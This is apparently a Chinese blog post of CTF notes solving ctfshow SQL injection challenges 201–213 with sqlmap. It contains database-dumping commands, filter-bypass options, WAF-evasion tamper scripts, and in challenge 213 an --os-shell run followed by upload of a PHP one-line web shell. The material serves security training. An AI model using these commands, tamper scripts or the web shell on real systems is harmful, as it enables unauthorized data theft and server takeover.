2024sqlmap语句大全及解析,ctfshow201--213边做题边写笔记

sqlmap 手册

https://github.com/sqlmapproject/sqlmap/wiki/Usage

标准模板如下

检测注入类型

python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show

爆数据库

python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show --dbs

爆表

python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D 
ctfshow_web --tables 

爆列

python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D 
ctfshow_web -T ctfshow_user --columns

爆值

python sqlmap.py -u http://75d6ef49-ed52-4bc1-bb21-5320fc6d1485.challenge.ctf.show/api/?id= --user-agent sqlmap --referer ctf.show -D 
ctfshow_web -T ctfshow_user --dump 

极速版

​
--tech=U来让sqlmap只测试联合查询注入,

--flush-session意思是每次刷新会话,清理上次的缓存。

--proxy=http://127.0.0.1:8080 设置代理

​--user-agent 指定agent,用户浏览器版本信息

--referer 上一个网页,访问该网页的来源网页

--data转post请求 --data 'id=1'

--method="PUT"   规定put的http请求

--cookie 设置cookie ,--cookie="???"

--os-shell 上传一个文件上传的窗口

--safe-url 设置在测试目标地址前访问的安全链接

--safe-freq 设置两次注入测试前访问安全链接的次数,就↑的url

--tamper 脚本目录,里面有很多脚本,但都不咋地,建议自己去写

AI对sqlmap解释


sqlmap指令大全

SQLMap是一个开源的渗透测试工具,它主要用于自动化检测SQL注入漏洞和数据库接管。以下是SQLMap的常用命令和选项:

    检测注入:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1"

    指定数据库后端:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --dbms="mysql"

    列出数据库:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --dbs

    列出指定数据库的所有表:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name --tables

    列出表中的所有列:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name -T table_name --columns

    转储列中的数据:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -D database_name -T table_name -C column_name1,column_name2 --dump

    使用自定义注入 payloads:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --technique=BU

    使用基于错误的注入:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --risk=3 --level=5

    通过代理进行渗透测试:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" --proxy="http://localhost:8080"

    保存输出到文件:

sqlmap -u "http://www.vulnerable-site.com/vuln-page.php?id=1" -o /path/to/output/file

请注意,使用SQLMap时应遵守当地法律法规,不得用于未经授权的攻击或侵犯他人隐私和数据安全。 

 201--user-agent--referer

使用--user-agent 指定agent
 --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
 使用--referer 绕过referer检查
 --referer="ctf.show",

用下边模板走一下得到flag

202--data参数转化请求方式

通过向命令行加入--data参数转化请求方式为post

这个为什么我抓的bp包是get请求?原来他有个301重定向,被转post再api那里

python sqlmap.py -u http://3702c6fc-0dca-4e2b-aa95-dc334b33eebd.challenge.ctf.show/api/index.php --data 'id=1' --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user --dump 

203 --method="PUT"

sqlmap -u "??/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --
headers="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump 

记得要加上--headers="Content-Type: text/plain" 不然data是以表单形式发送

为什么用put,抓包可以看一下响应:Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS;开启了PUT方法

HTTP/1.1有7种请求方法:1、GET;2、POST;3、PUT;4、DELETE;5、HEAD;6、TRACE;7、OPTIONS;

1、各个方法的作用:

GET对这个资源的查操作
DELETE对这个资源的删操作(注意:客户端无法保证删除操作一定会被执行,因为HTTP规范允许服务器在不通知客

户端的情况下撤销请求)

HEAD

与GET方法的行为很类似,但服务器在响应中只返回实体的头部分。可以快速获取资源信息,比如资源类型;

通过查看响应中的状态码,可以确定资源是否存在;

通过查看首部,测试资源是否被修改;

POST向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。(适用于更新操作)
PUT从客户端向服务器传送的数据取代指定的文档的内容。(适用于添加操作)
OPTIONS用于获取当前URL所支持的方法。若请求成功,则它会在HTTP头中包含一个名为“Allow”的头,值是所支持的方法,如“GET, POST”
TRACE

会在目的服务器端发起一个“回环”诊断,因为客户端在发起一个请求时,这个请求可能要穿过防火墙、代理、网关、或者其它的一些应用程序。这中间的每个节点都可能会修改原始的HTTP请求,TRACE方法允许客户端在最终将请求发送服务器时,它变成了什么样子。由于有一个“回环”诊断,在请求最终到达服务器时,服务器会弹回一条TRACE响应,并在响应主体中携带它收到的原始请求报文的最终模样。这样客户端就可以查看HTTP请求报文在发送的途中,是否被修改过

204--cookie

抓包,把这段复制发过去Cookie: PHPSESSID=j4if79h5gfl14a71fusdmsu78a; ctfshow=2c4bb84e8afeeb07817a48b40756ff1d

sqlmap -u "??/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --
headers="Content-Type: text/plain" --cookie="PHPSESSID=j4if79h5gfl14a71fusdmsu78a; ctfshow=2c4bb84e8afeeb07817a48b40756ff1d" -D 
ctfshow_web -T ctfshow_user -C pass --dump

205 api调用需要鉴权

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

--safe-url参数将url设置为api/getToken

--safe-freq=1表示访问api/getToken一次

注意:这里表名他改了,你可以用我207的方法,那样就不用找表列了,知道数据库就行

sqlmap -u "https://9f121023-a47a-4945-9a97-2bc238253162.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1ppi11sivm8adk58b6fkue15fj" --safe-url="https://9f121023-a47a-4945-9a97-2bc238253162.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax --dump

206 闭合

闭合就不用管了,sqlmap会帮我们弄

207--tamper 的初体验

表名改成了ctfshow_flaxca

该使用插件脚本了(运行sqlmap自带的脚本)这里用这里使用space2comment这个脚本,用/**/代替空格

你看我下边这个是直接扒数据库的值,跳过找表和列了就,数据库内容全打出来,省事,

sqlmap -u "https://ea8097b1-208b-47b3-9795-85b2c858e3e4.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1ppi11sivm8adk58b6fkue15fj" --safe-url="https://ea8097b1-208b-47b3-9795-85b2c858e3e4.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tamper=space2comment.py --dump

 下边的笔记后边可能会用上,先放这,常见脚本:

常见的tamper有:

apostrophemask.py 	用utf8代替引号

equaltolike.py 		MSSQL * SQLite中like 代替等号

greatest.py 		MySQL中绕过过滤’>’ ,用GREATEST替换大于号

space2hash.py 		空格替换为#号 随机字符串 以及换行符

space2comment.py	用/**/代替空格

apostrophenullencode.py 	MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号

halfversionedmorekeywords.py 	当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论

space2morehash.py 	 MySQL中空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.p 	 Microsoft Access在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py 	 MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤

space2mssqlblank.py  mssql空格替换为其它空符号

base64encode.py 	 用base64编码

space2mssqlhash.py mssql查询中替换空格

modsecurityversioned.py	 mysql中过滤空格,包含完整的查询版本注释

space2mysqlblank.py	  mysql中空格替换其它空白符号

between.py 	 		MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)

space2mysqldash.py 	 MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

multiplespaces.py 	 围绕SQL关键字添加多个空格

space2plus.py 	  	 用+替换空格

bluecoat.py 	 	 MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py 	 双重查询语句。取代predefined SQL关键字with表示 suitable for替代

space2randomblank.py 	 代替空格字符(“”)从一个随机的空白字符可选字符的有效集

sp_password.py 	 	 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾

chardoubleencode.py 	 双url编码(不处理以编码的)

unionalltounion.py 	 	 替换UNION ALL SELECT UNION SELECT

charencode.py 	 	 Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;

randomcase.py 	 	 Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写

unmagicquotes.py 	 宽字符绕过 GPC addslashes

randomcomments.py 	 用/**/分割sql关键字

charunicodeencode.py 	 ASP,ASP.NET中字符串 unicode 编码

securesphere.py 	  追加特制的字符串

versionedmorekeywords.py 	     MySQL >= 5.1.13注释绕过

halfversionedmorekeywords.py 	 MySQL < 5.1中关键字前加注释

208--tamper 的2体验

表名改成了ctfshow_flaxcac(看207)

加入对'select' 的过滤,可以用upppercase这个脚本,但是sqlmap默认就是大写的SELECT 直接按照原来的命令也完全可以,但如果是正常操作的话在207命令后面改为--tamper=randomcase.py,space2comment.py

过滤关键词,可以大小写绕过,用到randomcase.py,同时space2comment.py也得用上--tamper=randomcase.py,space2comment.py

 209-该你写脚本了

脚本教程

题目过滤preg_match('/ |*|\=/', $str); 

#!/usr/bin/env python

from lib.core.compat import xrange from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def tamper(payload, **kwargs): payload = space2comment(payload) return payload

def space2comment(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False

    for i in xrange(len(payload)):
        if not firstspace:
            if payload[i].isspace():
                firstspace = True
                retVal += chr(0x09)
                continue
​
        elif payload[i] == '\'':
            quote = not quote
​
        elif payload[i] == '"':
            doublequote = not doublequote
​
        elif payload[i] == '=':
            retVal += chr(0x09) + 'like' + chr(0x09)
            continue
​
        elif payload[i] == " " and not doublequote and not quote:
            retVal += chr(0x09)
            continue
​
        retVal += payload[i]
​
return retVal

下边是代码解释 

主要组件
tamper 函数:

参数: payload 和任意关键字参数 **kwargs。
功能: 调用 space2comment 函数处理 payload 并返回处理后的结果。
space2comment 函数:

参数: payload(字符串)。
功能: 主要逻辑在这里,处理 payload 字符串中的空格,根据条件用制表符 \t 替换空格。
详细分析
初始化:

retVal 被初始化为 payload,并在随后的代码中被用来构建处理后的结果。
quote 和 doublequote 用于标记当前是否在单引号或双引号内。
firstspace 用于标记是否已经遇到第一个空格。
处理过程:

遍历 payload 中的每个字符。
如果 firstspace 为 False(即还没有遇到第一个空格),且当前字符是空白字符(包括空格、制表符等),则将 firstspace 设置为 True,并将 retVal 中的空格替换为制表符 \t。
如果遇到单引号 ',则切换 quote 状态(表示是否在单引号内)。
如果遇到双引号 ",则切换 doublequote 状态(表示是否在双引号内)。
如果遇到等号 =,则在 retVal 中插入制表符 \t 和字符串 'like',然后继续处理。
如果遇到空格并且当前不在单引号或双引号内,则将空格替换为制表符 \t。
其他字符则直接加入到 retVal。

ctf.show官方paload给出以上脚本,复制成新的文件就行了,我用的是kali自带sqlmap在目录usr/share/sqlmap目录里的tamper目录下vim个ctf209.py,然后正常用

​
sqlmap -u "https://0597b06a-d287-4507-8651-afa54be936f3.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=n2a9bmjl9m4i8r1sun6jpilifo" --safe-url="https://0597b06a-d287-4507-8651-afa54be936f3.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tamper=ctf209.py --dump

​

210-212

原题/对查询字符进行解密 function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }

再把上面的脚本针对性的修改一下,头部改为下面的代码以方便绕过一些waf

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    retVal = ""
    if payload:
        retVal = base64.b64encode(payload[::-1].encode('utf-8'))
        retVal = base64.b64encode(retVal[::-1]).decode('utf-8')
    return retVal

213 --os-shell

我看别人的wp发现做不出来,于是分析了一下 输入的以下代码

sqlmap -u "https://656b46a7-eaee-4806-b021-850f75bf500d.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=f1c4ugmlhuts8btee0t1ijb6sr" --safe-url="https://656b46a7-eaee-4806-b021-850f75bf500d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctf210.py --os-shell

出现 

 他虽然没弹出os-shell>  这样的命令框,但显示了上传成功,浏览器进去看看

 已经给了文件上传的页面,那就上传了一句话木马<?php @eval($_POST[1]);?>的1.php文件

成功拿到shell 

00

有交流学习讨论建议改错的可以v:lidd123456a

  • 20
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值